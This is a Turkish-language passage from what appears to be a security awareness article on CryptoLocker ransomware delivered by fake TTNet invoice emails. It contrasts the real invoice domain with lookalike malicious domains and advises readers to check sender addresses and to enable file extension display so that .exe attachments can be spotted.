Dikkat Edilmesi Gerekenler

CryptoLocker gibi eposta yoluyla gelen zararlı yazılımlardan etkilenmemek için gelen eposta adreslerine çok dikkat edilmelidir.Şekil 8’de gerçek bir ttnet fatura eposta adresi ile Şekil 9’da zararlı yazılımının eposta adresleri gösterilmektedir.

image9.png

Şekil 8- Gerçek TTNet Fatura Gönderim Adresi

image10.png

Şekil 9- Sahte Fatura Gönderim Adresi

TTNet’in fatura görüntüleme adresi “https//:efatura.ttnet.com.tr” iken zararlı yazılımın kullandığı ise “efatura.ttnet-fatura.info” ve “efatura.ttnet-fatura.biz” adresleridir.

Eposta olarak gönderilen faturaların uzantılarına dikkat edilmelidir. CyrptoLocker zararlı yazılımı bir .exe dosyasıdır. Oysaki TTNet faturaları pdf şeklinde göstermektedir. Dosyaların uzantıları bilgisayarlarda normalde görünmemektedir. Dosya uzantılarını görebilmek için klasör ayarlarından bilinen dosya türleri için uzantılarını gösterme (Hide extensions for known types) ayarı değiştirilmelidir. Şekil 10’da bu ayarlama gösterilmektedir.

image11.png

Şekil 10- Dosya Uzantılarının Gösterimi İçin Yapılandırma

Aynı zamanda Ttnet faturaları kullanıcılara faturaları indirtmek yerine browserda göstermektedir. Şekil 11‘ da gerçek Ttnet fatura görüntüleme ekranı gösterilmektedir. Şekil 2’de ise sahte sayfa gösterilmiştir.

resim-11.jpg

Şekil 11- Gerçek Fatura Görüntüleme Sayfası

Sonuç olarak, internetten indirilen dosyalar, epostalar açılmadan önce dikkatle okunmalıdır. Epostayı gönderen adreslere, epostanın içeriğine, indirilen dosyanın uzantısına dikkat edilmeli ve emin olunduktan sonra dosyalar açılmalıdır.